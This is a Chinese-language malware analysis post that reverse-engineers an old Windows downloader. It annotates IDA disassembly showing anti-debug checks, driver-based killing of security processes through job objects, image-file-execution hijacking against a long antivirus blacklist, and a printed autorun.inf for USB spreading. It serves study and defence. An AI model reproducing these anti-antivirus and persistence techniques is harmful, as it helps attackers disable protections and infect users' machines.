第一次分析病毒,也不知道该如何分析,如有不当的地方请指正,样本是很早以前的.
虽然样本很老,但是其水平还是很不错的(相对那时),其综合了 AntiAv AvKiller
Downloader Autorun等类型病毒的功能.
对该病毒的简单行为描述:
病毒执行会先停止Schedule AppMgmt srservice W32Time stisvc这5个服务.在系统临时目录释放一个以随机数命名的dll,和一个bat文件,母体加载DLL并在系统目录释放NsHelper2.sys
结束相关安全软件的进程,然后创建一个svchost.exe的进程,根据当前系统日期是否大于2008年12月30日若小于则进程加载此DLL,母体进程退出,并在系统目录释放NsHelper2.sys , NsPass0.sys , NsPass1.sys , NsPass2.sys , NsPass3.sys , NsPass4.sys.并结束相关安全软件的进程. 创建注册表项,使用文件映象劫持黑名单中的安全软件,从网络下载文件到本机(网址都已失效故不做分析),并单独创建一个进程来执行下载的某个文件.修改hosts文件使用域名劫持手段屏蔽黑名单中的安全公司的网址.在系统目录释放appwinproc.dll,让explorer进程加载并设置全局消息钩子,通过监控消息,获得消息交互方的窗口标题,然后跟黑名单中的相关安全软件的窗口标题进行比较,如果相同,就用TerminatePrcocess结束掉. 然后在每个系统盘符目录下,包括U盘建立autorun.inf文件,并复制母体释放的DLL,到相应磁盘目录下改名为system.dll.autorun.inf文件的内容
[autorun]
shell\open\command=rundll32 system.dll,explore
shell\explore\command=rundll32 system.dll,explore
即每次打开相应磁盘则会运行rundll32并加载system.dll(病毒dll)
这样就简单的起到了自动执行的功能(现在以屏蔽autorun了吧)
NsPass0.sys 到NsPass4.sys会用病毒母体释放的DLL修改系统目录下的schedsvc.dll ,appmgmts.dll , srsvc.dll wiaservc.dll, w32time.dll.具体怎么修改没分析只是简单的看了下F5.
病毒母体执行流程如下:
代码:
UPX0:00401430 sub esp, 168h
UPX0:00401436 push esi
UPX0:00401437 push edi
UPX0:00401438 call Anti_Debug ; 反调试
UPX0:0040143D call GetInputState ; 判断本线程有无新的鼠标或按键消息
UPX0:00401443 push 0 ; lParam
UPX0:00401445 push 0 ; wParam
UPX0:00401447 push 0 ; Msg
UPX0:00401449 call GetCurrentThreadId
UPX0:0040144F push eax ; idThread
UPX0:00401450 call PostThreadMessageA ; 向本线程发送WM_NULL消息,激活消息处理流程,让其可以GetMessage,防止鼠标在忙碌状态
UPX0:00401456 push 1 ; wRemoveMsg
UPX0:00401458 push 0 ; wMsgFilterMax
UPX0:0040145A push 0 ; wMsgFilterMin
UPX0:0040145C push 0 ; hWnd
UPX0:0040145E lea eax, [esp+180h+Msg]
UPX0:00401462 push eax ; lpMsg
UPX0:00401463 call PeekMessageA
….省略
UPX0:0040149E push eax ; hModule
UPX0:0040149F call GetProcAddress ; 获取Sleep的地址
UPX0:004014A5 mov esi, eax
UPX0:004014A7 call Stop_Service ; 停止5个服务
UPX0:004014AC push 5000
UPX0:004014B1 call esi ; 调用Sleep
UPX0:004014B3 lea eax, [esp+174h+Buffer]
UPX0:004014B7 push eax ; lpBuffer
UPX0:004014B8 push 104h ; nBufferLength
UPX0:004014BD call GetTempPathA
UPX0:004014C3 call GetTickCount
UPX0:004014C9 xor edx, edx
UPX0:004014CB mov ecx, 3E8h
UPX0:004014D0 div ecx
UPX0:004014D2 push edx
UPX0:004014D3 lea edx, [esp+178h+Msg.pt.y]
UPX0:004014D7 push offset aDllD_dll ; 生成随机数字并用它格式化dll名字,也就是随机生成一个dll名
…省略
UPX0:00401502 call RES_TO_FILE ; 释放资源文件
UPX0:00401507 add esp, 0Ch
UPX0:0040150A lea eax, [esp+17Ch+FileName]
UPX0:0040150E push eax ; lpLibFileName
UPX0:0040150F call edi ; LoadLibraryA
UPX0:00401511 push 7D0h
UPX0:00401516 call esi ; Sleep
UPX0:00401518 call Del_EXE_BAT ; 在临时目录生成 bat文件并删除 exe和bat文件
UPX0:0040151D push 1 ; uExitCode
UPX0:0040151F call ExitProcess
UPX0:0040151F start endp
简单的看下反调试:
UPX0:0040102A call CreateToolhelp32Snapshot ; 创建进程快照
UPX0:0040102F mov edi, eax
UPX0:00401031 lea eax, [esp+134h+pe]
UPX0:00401035 push eax ; lppe
UPX0:00401036 push edi ; hSnapshot
UPX0:00401037 mov [esp+13Ch+pe.dwSize], 128h
UPX0:0040103F call Process32First
UPX0:00401044 mov esi, GetCurrentProcessId
UPX0:0040104A lea ebx, [ebx+0]
UPX0:00401050
UPX0:00401050 loc_401050: ; CODE XREF: Anti_Debug+69 j
UPX0:00401050 call esi ; GetCurrentProcessId
UPX0:00401052 cmp [esp+134h+pe.th32ProcessID], eax
UPX0:00401056 jz loc_401107
UPX0:0040105C lea ecx, [esp+134h+pe]
UPX0:00401060 push ecx ; lppe
UPX0:00401061 push edi ; hSnapshot
UPX0:00401062 call Process32Next
UPX0:00401067 test eax, eax
UPX0:00401069 jnz short loc_401050
UPX0:0040106B
UPX0:0040106B loc_40106B: ; CODE XREF: Anti_Debug+115 j
UPX0:0040106B lea edx, [esp+134h+pe]
UPX0:0040106F push edx ; lppe
UPX0:00401070 push edi ; hSnapshot
UPX0:00401071 call Process32First
UPX0:00401076 mov esi, lstrcmpi
UPX0:0040107C lea esp, [esp+0]
UPX0:00401080
UPX0:00401080 loc_401080: ; CODE XREF: Anti_Debug+F3 j
UPX0:00401080 cmp [esp+134h+pe.th32ProcessID], ebx
UPX0:00401084 jnz short loc_4010E6
UPX0:00401086 lea eax, [esp+134h+pe.szExeFile]
UPX0:0040108A push eax
UPX0:0040108B push offset aOllydbg_exe ; "OllyDbg.exe"
UPX0:00401090 call esi ; lstrcmpi
UPX0:00401092 test eax, eax
UPX0:00401094 jz short loc_4010FF
UPX0:00401096 lea ecx, [esp+134h+pe.szExeFile]
UPX0:0040109A push ecx
UPX0:0040109B push offset aOllyice_exe ; "OllyICE.exe"
UPX0:004010A0 call esi ; lstrcmpi
UPX0:004010A2 test eax, eax
UPX0:004010A4 jz short loc_4010FF
UPX0:004010A6 lea edx, [esp+134h+pe.szExeFile]
UPX0:004010AA push edx
UPX0:004010AB push offset aPeditor_exe ; "PEditor.exe"
UPX0:004010B0 call esi ; lstrcmpi
UPX0:004010B2 test eax, eax
UPX0:004010B4 jz short loc_4010FF
UPX0:004010B6 lea eax, [esp+134h+pe.szExeFile]
UPX0:004010BA push eax
UPX0:004010BB push offset aLordpe_exe ; "LordPE.exe"
UPX0:004010C0 call esi ; lstrcmpi
UPX0:004010C2 test eax, eax
UPX0:004010C4 jz short loc_4010FF
UPX0:004010C6 lea ecx, [esp+134h+pe.szExeFile]
UPX0:004010CA push ecx
UPX0:004010CB push offset aC32asm_exe ; "C32Asm.exe"
UPX0:004010D0 call esi ; lstrcmpi
UPX0:004010D2 test eax, eax
UPX0:004010D4 jz short loc_4010FF
UPX0:004010D6 lea edx, [esp+134h+pe.szExeFile]
UPX0:004010DA push edx
UPX0:004010DB push offset aImportrec_exe ; "ImportREC.exe"
UPX0:004010E0 call esi ; lstrcmpi
UPX0:004010E2 test eax, eax
UPX0:004010E4 jz short loc_4010FF
UPX0:004010E6
UPX0:004010E6 loc_4010E6: ; CODE XREF: Anti_Debug+84 j
UPX0:004010E6 lea eax, [esp+134h+pe]
UPX0:004010EA push eax ; lppe
UPX0:004010EB push edi ; hSnapshot
UPX0:004010EC call Process32Next
UPX0:004010F1 test eax, eax
UPX0:004010F3 jnz short loc_401080
UPX0:004010F5 call Addr_IsDebuggerPresent
UPX0:004010FB test eax, eax
UPX0:004010FD jz short loc_401123
UPX0:004010FF
UPX0:004010FF loc_4010FF: ; CODE XREF: Anti_Debug+94 j
UPX0:004010FF ; Anti_Debug+A4 j ...
UPX0:004010FF push 0 ; uExitCode
简单描述下: 先从kernel32.dll中得IsDebuggerPresent的函数地址,然后使用GetCurrentProcessId,得到本进程的ID,开进程快照,得到本进程PROCESSENTRY32,结构体通过这个结构体得到父进程ID,然后在通过进程快照得到父进程的PROCESSENTRY32结构体信息,并判断其进程名是否为: OllyDbg.exe , OllyICE.exe , PEditor.exe , LordPE.exe , C32Asm.exe , ImportREC.exe 如果是其中的某一个,则退出进程,如果没有一个符合,则最后调用IsDebuggerPresent 返回非0值则退出进程.
当然这种反调试对于现在插件多于牛毛的OD来说基本不起作用了.
释放的dll名类似为:dll593.dll其中593是随机的3位数.
创建的的bat文件名类似为:1.bat,其中前面的数字是使用的是系统已启动时间
bat文件里的内容:
:Repeat',0Dh,0Ah //0D ,0A为回车换行 Repeat是一个标号
db 'del /f "%s"',0Dh,0Ah //%s 为病毒母体路径
db 'if exist "%s" goto Repeat',0Dh,0Ah //同上
db 'del /f "%s"',0 //这里的%s为此批处理文件的路径
即先删除病毒母体文件,在检测如果还存在就在转到Repeat执行在此删除.最后删除bat文件本身.
由于篇幅关系,其他的函数,可以看idb文件,里面注释很详细.
下面看病毒释放的dll的行为:
由于作图软件不是很专业,所以没有菱形来表示判断条件,所以只能用箭头随手画画了.
简单总结一下行为:当病毒母体加载此DLL后,转到DLL中执行代码,同样也是先检测是否被调试,然后判断母体文件名是够和svchost.exe相同,按程序流程推断母体名肯定不会和svchost.exe相同.然后从DLL中释放驱动并加载到内核,母体进程创建对象与驱动通信,驱动恢复SSDT并hook了NtOpenProcess NtTerminateProess..用来保护母体进程防止其被结束,然后枚举当前系统进程,如果有与其数组中保存的进程名相同的则使用驱动和作业对象的方法来结束掉进程.
其进程黑名单有:
"360safe.exe""360safebox.exe""360tray.exe""ACKWIN32.exe""anti.exe""ANTI-TROJAN.exe""antivir.exe""atrack.exe""ATRACK.exe""AUTODOWN.exe""AVCONSOL.exe""AVE32.exe"
"AVGCTRL.exe""avk.exe""AVKSERV.exe""AVPUPD.exe""AVSCHED32.exe""avsynmgr.exe""AVWIN95.exe"
"avxonsol.exe""BLACKD.exe""BLACKICE.exe""CCenter.exe""CFIADMIN.exe""CFIAUDIT.exe""CFIND.exe"
"cfinet.exe""cfinet32.exe""CLAW95.exe""CLAW95CT.exe""CLEANER.exe""CLEANER3.exe""DAVPFW.exe"
"dbg.exe""debu.exe""DV95.exe""DV95_O.exe""DVP95.exe""ECENGINE.exe""EFINET32.exe""ESAFE.exe"
"ESPWATCH.exe""explorewclass.exe""F-AGNT95.exe""FINDVIRU.exe""fir.exe""F-PROT.exe""fprot95.exe""fp-win.exe""FP-WIN.exe""FRW.exe""f-stopw.exe""F-STOPW.exe""IAMAPP.exe""IAMAPP.exe""IAMSERV.exe""IBMASN.exe""IBMAVSP.exe""ice.exe""IceSword.exe""ICLOAD95.exe""ICLOADNT.exe""ICMOON.exe""ICSSUPPNT.exe""iom.exe""iomon98.exe"
"JED.exe""Kabackreport.exe""Kasmain.exe""kav32.exe"kavstart.exe""kissvc.exe""KPFW32.exe"
"kpfw32.exe""kpfwsvc.exe""KPPMain.exe""KRF.exe""KVMonXP.exe""KVPreScan.exe""kwatch.exe"
"lamapp.exe""lockdown2000.exe""LOOKOUT.exe""luall.exe""LUCOMSERVER.exe""mcafee.exe""microsoft.exe""mon.exe""moniker.exe""MOOLIVE.exe""MPFTRAY.exe""ms.exe""N32ACAN.exe""navapsvc.exe""navapw32.exe""NAVLU32.exe" "NAVNT.exe""navrunr.exe""NAVSCHED.exe""NAVW.exe""NAVW32.exe""navwnt.exe""NAVWNT.exe"
"nisserv.exe""nisum.exe""NMAIN.exe""NORMIST.exe""norton.exe""NUPGRADE.exe""NVC95.exe"
"OUTPOST.exe""PADMIN.exe""PAVCL.exe""pcc.exe""PCCClient.exe""pcciomon.exe""pccmain.exe"
"pccwin98.exe""PCFWALLICON.exe""PpPpWallRun.exe""program.exe""prot.exe""pview95.exe"
"ras.exe""Rav.exe""RAV7.exe""rav7win.exe""RavMon.exe""RavMonD.exe""RavStub.exe""RavTask.exe""regedit.exe""rescue32.exe""Rfw.exe""rn.exe""safeboxTray.exe""safeweb.exe""scam32.exe""scan.exe""SCAN32.exe""SCANPM.exe""scon.exe""SCRSCAN.exe""secu.exe""SERV95.exe""sirc32.exe""SMC.exe""smtpsvc.exe""SPHINX.exe""spy.exe""sreng.exe""SWEEP95.exe""symproxysvc.exe""TBSCAN.exe""TCA.exe""TDS2-98.exe""TDS2-NT.exe""Tmntsrv.exe""TMOAgent.exe""tmproxy.exe""tmupdito.exe""TSC.exe""UlibCfg.exe""vavrunr.exe""VET95.exe""VETTRAY.exe""vir.exe""VPC32.exe""VSECOMR.exe""vshwin32.exe""VSHWIN32.exe""VSSCAN40""vsstat.exe""WEBSCAN.exe""WEBSCANX.exe""webtrap.exe""WFINDV32.exe""windows优化大师.exe""wink.exe""XDelbox.exe""zonealarm.exe""ZONEALARM.exe""pccguide.exe"
最后找到系统svchost.exe文件并创建此进程,并判断当期前系统事件是否大于2008年12月30日,如果大于则不加载此DLL,则病毒母体进程结束.如果当前系统时间小于此日期,则通过远程线程为svchost进程加载此DLL.
当新创建的svchost进程加载该DLL时,又是走前面的流程,不同的是,现在的进程名是svchost了,所以在判断进程文件名是否为svchost.exe时,此时是相同的.因此走的流程不一样.接着就是创建一大堆线程,来完成各种各样的坏事.
代码分析:
.text:710013FC GetProcessFileName: ; CODE XREF: DllEntryPoint+4F j
.text:710013FC cmp [ebp+eax+String], 5Ch
.text:71001404 jz short loc_7100140B
.text:71001406 dec eax
.text:71001407 jns short GetProcessFileName
.text:71001409 jmp short loc_7100140C
.text:7100140B ; ---------------------------------------------------------------------------
.text:7100140B
.text:7100140B loc_7100140B: ; CODE XREF: DllEntryPoint+4C j
.text:7100140B inc eax
.text:7100140C
.text:7100140C loc_7100140C: ; CODE XREF: DllEntryPoint+42 j
.text:7100140C ; DllEntryPoint+51 j
.text:7100140C lea eax, [ebp+eax+String]
.text:71001413 push offset Data ; "svchost.exe"
.text:71001418 push eax ; lpString
.text:71001419 call Is_EqualString ; 判断字符串是否相同
.text:7100141E test eax, eax
.text:71001420 pop ecx ; 平衡Is_EqualString的参数堆栈
.text:71001421 pop ecx ; 平衡Is_EqualString的参数堆栈
.text:71001422 push esi ; LPVOID
.text:71001423 jz short loc_71001432 ; Is_EqualString返回值为0就跳转
.text:71001425 call Release_SYS_Protect_KILL ; 释放驱动保护本进程,并关闭相关安全软件的进程
.text:7100142A push esi
.text:7100142B call Create_svchost_loadthis_Dll ; 创建svchost.exe进程
.text:71001430 jmp short loc_71001441
.text:71001432 ; ---------------------------------------------------------------------------
.text:71001432
.text:71001432 loc_71001432: ; CODE XREF: DllEntryPoint+6B j
.text:71001432 push esi ; dwCreationFlags
.text:71001433 push esi ; lpParameter
.text:71001434 push offset kill_SecProcess ; lpStartAddress 一个线程里面又会创建多个线程
.text:71001439 push esi ; dwStackSize
.text:7100143A push esi ; lpThreadAttributes
.text:7100143B call ds:CreateThread
上述代码是主要的流程框架代码,先把路径转换为进程的文件名,然后在与svchost.exe比较是否相同.然后转向各自的流程.
进入Release_SYS_Protect_KILL,先使用两种方式结束avp.exe,一种是关闭BaseNamedObjects\6953EA60-8D5F-4529-8710-42F8ED3E8CDA对象,另一种方法我不太明白,想细看的看以看下面的链接: http://bbs.pediy.com/showthread.php?t=92948 里面的方法和此病毒的一样.
利用作业对象杀进程:
.text:71002FE6 UseJob_KillProcess proc near ; CODE XREF: Kill_Process+61 p
.text:71002FE6
.text:71002FE6 var_8 = dword ptr -8
.text:71002FE6 dwProcessId = dword ptr 4
.text:71002FE6
.text:71002FE6 push esi
.text:71002FE7 push 0FFFFFFFFh ; ProcessHandle
.text:71002FE9 call Raise_Privilege ; 提升进程权限
.text:71002FEE mov [esp+8+var_8], offset aNsdnldrkillpro ; "NsDnldrKillProcess"
.text:71002FF5 push 0 ; lpJobAttributes
.text:71002FF7 call ds:CreateJobObjectA ; 创建名为 NsDnldrKillProcess作业对象
.text:71002FFD push [esp+4+dwProcessId] ; dwProcessId
.text:71003001 mov esi, eax ; esi中保存job对象
.text:71003003 push 0 ; bInheritHandle
.text:71003005 push 1F0FFFh ; dwDesiredAccess
.text:7100300A call ds:OpenProcess
.text:71003010 test eax, eax
.text:71003012 jnz short loc_71003016
.text:71003014 pop esi
.text:71003015 retn
.text:71003016 ; ---------------------------------------------------------------------------
.text:71003016
.text:71003016 loc_71003016: ; CODE XREF: UseJob_KillProcess+2C j
.text:71003016 push eax ; hProcess
.text:71003017 push esi ; hJob
.text:71003018 call ds:AssignProcessToJobObject ; 进程和job关联
.text:7100301E push 0 ; uExitCode
.text:71003020 push esi ; hJob
.text:71003021 call ds:TerminateJobObject ; 结束job,也就结束了进程
.text:71003027 pop esi
.text:71003028 retn
创建svchost进程并判断当前时间以决定是否要加载该DLL
.text:71002128
.text:71002128 Create_svchost_loadthis_Dll proc near ; CODE XREF: DllEntryPoint+73 p
.text:71002128
.text:71002128 Buffer = byte ptr -26Ch
.text:71002128 CommandLine = byte ptr -168h
.text:71002128 StartupInfo = _STARTUPINFOA ptr -64h
.text:71002128 ProcessInformation= _PROCESS_INFORMATION ptr -20h
.text:71002128 SystemTime = _SYSTEMTIME ptr -10h
.text:71002128
.text:71002128 push ebp
.text:71002129 mov ebp, esp
.text:7100212B sub esp, 26Ch
.text:71002131 push esi
.text:71002132 push edi
.text:71002133 mov esi, 104h
.text:71002138 push esi ; uSize
.text:71002139 lea eax, [ebp+CommandLine]
.text:7100213F push eax ; lpBuffer
.text:71002140 call ds:GetSystemDirectoryA
.text:71002146 push offset String2 ; "\\svchost.exe"
.text:7100214B lea eax, [ebp+CommandLine]
.text:71002151 push eax ; lpString1
.text:71002152 call ds:lstrcatA ; 拼接svchost.exe的路径
.text:71002158 push 11h
.text:7100215A pop ecx
.text:7100215B xor eax, eax
.text:7100215D lea edi, [ebp+StartupInfo]
.text:71002160 rep stosd
.text:71002162 lea eax, [ebp+StartupInfo]
.text:71002165 push eax ; lpStartupInfo
.text:71002166 call ds:GetStartupInfoA ; 获取本进程的启动信息
.text:7100216C xor eax, eax
.text:7100216E lea ecx, [ebp+ProcessInformation]
.text:71002171 push ecx ; lpProcessInformation
.text:71002172 lea ecx, [ebp+StartupInfo]
.text:71002175 push ecx ; lpStartupInfo
.text:71002176 push eax ; lpCurrentDirectory
.text:71002177 push eax ; lpEnvironment
.text:71002178 push 4 ; dwCreationFlags
.text:7100217A push eax ; bInheritHandles
.text:7100217B push eax ; lpThreadAttributes
.text:7100217C push eax ; lpProcessAttributes
.text:7100217D lea ecx, [ebp+CommandLine]
.text:71002183 push ecx ; lpCommandLine svchost.exe的路径
.text:71002184 push eax ; lpApplicationName
.text:71002185 mov [ebp+StartupInfo.wShowWindow], ax ; SW_HIDE 不显示窗口,本来就没窗口..
.text:71002189 call ds:CreateProcessA ; 创建svchost进程并挂起
.text:7100218F lea eax, [ebp+SystemTime]
.text:71002192 push eax ; lpSystemTime
.text:71002193 call ds:GetSystemTime
.text:71002199 movzx ecx, [ebp+SystemTime.wYear]
.text:7100219D mov eax, dword_71007234
.text:710021A2 cmp ecx, eax ; 2008年
.text:710021A4 ja short loc_710021C3
.text:710021A6 jnz short loc_710021C8
.text:710021A8 movzx ecx, [ebp+SystemTime.wMonth]
.text:710021AC mov eax, dword_71007238
.text:710021B1 cmp ecx, eax ; 12月
.text:710021B3 ja short loc_710021C3
.text:710021B5 jnz short loc_710021C8
.text:710021B7 movzx eax, [ebp+SystemTime.wDay]
.text:710021BB cmp eax, dword_7100723C ; 30号
.text:710021C1 jbe short loc_710021C8
.text:710021C3
.text:710021C3 loc_710021C3: ; CODE XREF: Create_svchost_loadthis_Dll+7C j
.text:710021C3 ; Create_svchost_loadthis_Dll+8B j
.text:710021C3 xor eax, eax
.text:710021C5 inc eax
.text:710021C6 jmp short loc_710021FD ; 大于2008年12月30日就返回-1,不让新创建的svchost进程加载DLL
.text:710021C8 ; ---------------------------------------------------------------------------
.text:710021C8
.text:710021C8 loc_710021C8: ; CODE XREF: Create_svchost_loadthis_Dll+7E j
.text:710021C8 ; Create_svchost_loadthis_Dll+8D j ...
.text:710021C8 push esi ; nSize
.text:710021C9 lea eax, [ebp+Buffer]
.text:710021CF push eax ; lpFilename
.text:710021D0 push hModule ; hModule
.text:710021D6 call ds:GetModuleFileNameA ; 获得本DLL的路径
.text:710021DC lea eax, [ebp+Buffer]
.text:710021E2 push eax ; lpBuffer
.text:710021E3 push [ebp+ProcessInformation.hProcess] ; hProcess
.text:710021E6 call MakeSvchost_Load_DLL ; 让新创建svchost加载本DLL
.text:710021EB push [ebp+ProcessInformation.hProcess] ; hObject
.text:710021EE mov esi, ds:CloseHandle
.text:710021F4 call esi ; CloseHandle
.text:710021F6 push [ebp+ProcessInformation.hThread] ; hObject
.text:710021F9 call esi ; CloseHandle
.text:710021FB xor eax, eax
现在分析一下,当创建了svchost.exe进程,并加载了该DLL,其创建的那些线程所做的事情.
线程1:
行为:先检查是否有调试器,创建创建名为NSDownLoader26AVip20081206事件对象(难道是08年12月6日写的?),初始无信号,并判断是否已存在该对象,防止运行多个实例.即如果已存在则退出进程.
代码:
.text:710012B2 push offset Name ; "NSDownLoader26AVip20081206"
.text:710012B7 push esi ; bInitialState
.text:710012B8 push esi ; bManualReset
.text:710012B9 push esi ; lpEventAttributes
.text:710012BA call ds:CreateEventA ; 创建事件对象,初始无信号,并自动置事件有信号
.text:710012C0 mov [esp+30h+var_20], eax
.text:710012C4 call ds:GetLastError
.text:710012CA cmp [esp+30h+var_20], esi
.text:710012CE jz short loc_710012D7
.text:710012D0 cmp eax, 183 ; 判断该对象是否已经被创建,如果是则退出进程
.text:710012D5 jnz short loc_710012EB ; 如果该对象第一次被创建
.text:710012D7
.text:710012D7 loc_710012D7: ; CODE XREF: kill_SecProcess+73 j
.text:710012D7 call sub_710011CE
.text:710012DC test eax, eax
.text:710012DE jnz loc_710013AC
.text:710012E4
.text:710012E4 loc_710012E4: ; CODE XREF: kill_SecProcess+53 j
.text:710012E4 push esi ; uExitCode
.text:710012E5 call ds:ExitProcess
线程2:
行为分析:
从DLL中释放并以SCM方式加载Nskhelper2.sys到内核中,用于保护该进程不被结束,并枚举当前活动进程,用驱动和Job的方式来结束与进程黑名单中匹配的进程.
代码:
.text:7100244C push 0 ; th32ProcessID
.text:7100244E push 2 ; dwFlags
.text:71002450 call CreateToolhelp32Snapshot
.text:71002455 lea ecx, [ebp+pe]
.text:7100245B push ecx ; lppe
.text:7100245C push eax ; hSnapshot
.text:7100245D mov [ebp+hObject], eax
.text:71002460 mov [ebp+pe.dwSize], 128h
.text:7100246A call Process32First
.text:7100246F
.text:7100246F loc_7100246F: ; CODE XREF: Release_SYS_Protect_KILL+139 j
.text:7100246F mov eax, [ebp+pe.th32ProcessID]
.text:71002475 mov [ebp+dwProcessId], eax
.text:71002478 lea eax, [ebp+pe.szExeFile]
.text:7100247E push eax
.text:7100247F call IS_TO_KILL ; 判断是否要结束该进程,与进程中保存的要结束的进程数组进行比较
.text:71002484 test eax, eax
.text:71002486 pop ecx ; 平衡堆栈
.text:71002487 jz short loc_710024B0
.text:71002489 cmp [ebp+dwProcessId], 0 ; 判断进程ID是否为0
.text:7100248D jz short loc_710024B0
.text:7100248F push [ebp+dwProcessId] ; dwProcessId
.text:71002492 push ebx ; hDevice
.text:71002493 call Kill_Process ; 结束相关安全软件的进程
.text:71002498 test eax, eax
.text:7100249A pop ecx
.text:7100249B pop ecx
.text:7100249C jnz short loc_710024B0
.text:7100249E push esi
.text:7100249F call [ebp+var_4]
.text:710024A2 push [ebp+pe.th32ProcessID] ; InBuffer
.text:710024A8 push ebx ; hDevice
.text:710024A9 call sub_710022E5 ; 传递进程ID与驱动通信
.text:710024AE pop ecx
.text:710024AF pop ecx
.text:710024B0
.text:710024B0 loc_710024B0: ; CODE XREF: Release_SYS_Protect_KILL+FF j
.text:710024B0 ; Release_SYS_Protect_KILL+105 j ...
.text:710024B0 lea eax, [ebp+pe]
.text:710024B6 push eax ; lppe
.text:710024B7 push [ebp+hObject] ; hSnapshot
.text:710024BA call Process32Next
.text:710024BF test eax, eax
.text:710024C1 jnz short loc_7100246F
.text:710024C3 push [ebp+hObject] ; hObject
.text:710024C6 call edi ; CloseHandle
.text:710024C8 cmp [ebp+arg_0], 0
.text:710024CC jz short loc_710024DB
.text:710024CE push 3E8h
.text:710024D3 call [ebp+var_4]
.text:710024D6 jmp loc_7100244C
即先通过IS_TO_KILL函数判断是否与黑名单中的进程名相同如果相同就调用Kill_Process结束掉,里面用了驱动和Job方式.
线程3:
行为分析:
创建大量注册表项类似:
HKEY_LOCAL_MACHINE_SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Executio\ Options\avp.exe Debugger “svchost.exe”只要在进程黑名单中的都会创建相应的此表项.即使用文件映象劫持来阻止黑名单中安全软件的运行. 此病毒中如果运行黑名单中的安全软件的进程,则会运行svchost.exe,而不会运行它们.
代码:
…..前面部分略
.text:71001CFB
.text:71001CFB loc_71001CFB: ; CODE XREF: Create_reg_avpTo_svchost+E4 j
.text:71001CFB push esi ; lpdwDisposition
.text:71001CFC lea eax, [esp+24h+phkResult]
.text:71001D00 push eax ; phkResult
.text:71001D01 push esi ; lpSecurityAttributes
.text:71001D02 push edi ; samDesired
.text:71001D03 push esi ; dwOptions
.text:71001D04 push esi ; lpClass
.text:71001D05 push esi ; Reserved
.text:71001D06 push offset aAvp_exe ; "avp.exe"
.text:71001D0B push [esp+40h+hKey] ; hKey
.text:71001D0F mov [esp+44h+phkResult], esi
.text:71001D13 call ebx ; RegCreateKeyExA
.text:71001D15 push 0Ch ; cbData
.text:71001D17 push offset Data ; "svchost.exe"
.text:71001D1C push 1 ; dwType
.text:71001D1E push esi ; Reserved
.text:71001D1F push offset ValueName ; "Debugger"
.text:71001D24 push [esp+34h+phkResult] ; hKey
.text:71001D28 call ebp ; RegSetValueExA
.text:71001D2A push [esp+20h+phkResult] ; hKey
.text:71001D2E call ds:RegCloseKey
.text:71001D34 mov eax, lpSubKey
.text:71001D39 cmp eax, esi
.text:71001D3B jz short loc_71001D85
.text:71001D3D mov [esp+20h+var_8], offset lpSubKey
.text:71001D45
.text:71001D45 loc_71001D45: ; CODE XREF: Create_reg_avpTo_svchost+D9 j
.text:71001D45 push esi ; lpdwDisposition
.text:71001D46 lea ecx, [esp+24h+phkResult]
.text:71001D4A push ecx ; phkResult
.text:71001D4B push esi ; lpSecurityAttributes
.text:71001D4C push edi ; samDesired
.text:71001D4D push esi ; dwOptions
.text:71001D4E push esi ; lpClass
.text:71001D4F push esi ; Reserved
.text:71001D50 push eax ; lpSubKey
.text:71001D51 push [esp+40h+hKey] ; hKey
.text:71001D55 call ebx ; RegCreateKeyExA
.text:71001D57 push 0Ch ; cbData
.text:71001D59 push offset Data ; "svchost.exe"
.text:71001D5E push 1 ; dwType
.text:71001D60 push esi ; Reserved
.text:71001D61 push offset ValueName ; "Debugger"
.text:71001D66 push [esp+34h+phkResult] ; hKey
.text:71001D6A call ebp ; RegSetValueExA ; 让用户运行avp(卡巴)时实际运行svchost.exe
.text:71001D6C push [esp+20h+phkResult] ; hKey
.text:71001D70 call ds:RegCloseKey
.text:71001D76 add [esp+20h+var_8], 4
.text:71001D7B mov eax, [esp+20h+var_8]
.text:71001D7F mov eax, [eax]
.text:71001D81 cmp eax, esi
.text:71001D83 jnz short loc_71001D45
然后判断系统是否为xp或2000如果是则提升进程权限, 使用ZwOpenSection来得到\device\physicalmemory的句柄,
如果没有SECTION_MAP_WRITE权限则此调用会失败,如果失败则调用ZwOpenSection使用READ_CONTROL|WRITE_DAC访问标志来得到\device\physicalmemory的另一个句柄.加入新的DACL到\device\physicalmemory对象中,最后加入DACL到\device\physicalmemory中并为管理员用户获得SECTION_MAP_WRITE访问权限.
供后面直接读取物理内存用(vista之后就不能在用户态直接访问了吧).
相关代码:
text:71001BFF ; Open_PhysicalMemory+4F j ...
.text:71001BFF push 1 ; int
.text:71001C01 mov ebp, offset aSesecuritypriv ; "SeSecurityPrivilege"
.text:71001C06 push ebp ; lpName
.text:71001C07 call Raise_Priv ; 提权
.text:71001C0C pop ecx
.text:71001C0D pop ecx
.text:71001C0E call GetTwoNtdllFun_ADDR ; 得到RtlInitUnicodeString 和ZwOpenSection的地址
.text:71001C13 test eax, eax
.text:71001C15 jz loc_71001CA3
.text:71001C1B call Open_Device_PhysicalMemory ; 打开并映射该对象,用于读写物理内存,xp之后应该就不支持了吧在用户态
.text:71001C20 cmp eax, 1
.text:71001C23 jnz short loc_71001C9E
.text:71001C25 push 0FFDFF124h
.text:71001C2A call Map_device_physicalmemorymory ; 映射\device\physicalmemory
.text:71001C2F test eax, eax
.text:71001C31 pop ecx
.text:71001C32 jz short loc_71001C99
.text:71001C34 add eax, 44h
.text:71001C37 push eax
.text:71001C38 call Map_device_physicalmemorymory
线程4:
行为:首先判断当前操作系统版本,然后获得当前计算机网卡信息以及网络IP地址,然后格式化这些数据,在系统临时目录创建以随机数命名的txt文件.,并下载文件到临时目录的txt文件.由于地址以无效故不做深入分析.
简略代码:
text:71003716 lea eax, [ebp+74h+String1]
.text:7100371C push 80h
.text:71003721 push eax ; lpString1
.text:71003722 call Get_System_Version ; 获得当前操作系统版本
.text:71003727 xor eax, eax
.text:71003729 mov [ebp+74h+var_8], bl
.text:7100372C lea edi, [ebp+74h+var_7]
.text:7100372F stosd
.text:71003730 stosb
.text:71003731 lea eax, [ebp+74h+var_8]
.text:71003734 push eax
.text:71003735 call Get_IpAddress ; 获得本机地址
.text:7100373A push 1Fh
.text:7100373C xor eax, eax
.text:7100373E pop ecx
.text:7100373F mov [ebp+74h+var_8C], bl
.text:71003742 lea edi, [ebp+74h+var_8B]
.text:71003745 rep stosd
.text:71003747 stosw
.text:71003749 stosb
………省略
.text:7100376B push offset a_2x_2x_2x_2x_2 ; "%.2X-%.2X-%.2X-%.2X-%.2X-%.2X"
.text:71003770 push eax ; LPSTR
.text:71003771 call ds:wsprintfA ; 格式化此地址
text:71003891 push ebx
.text:71003892 push ebx
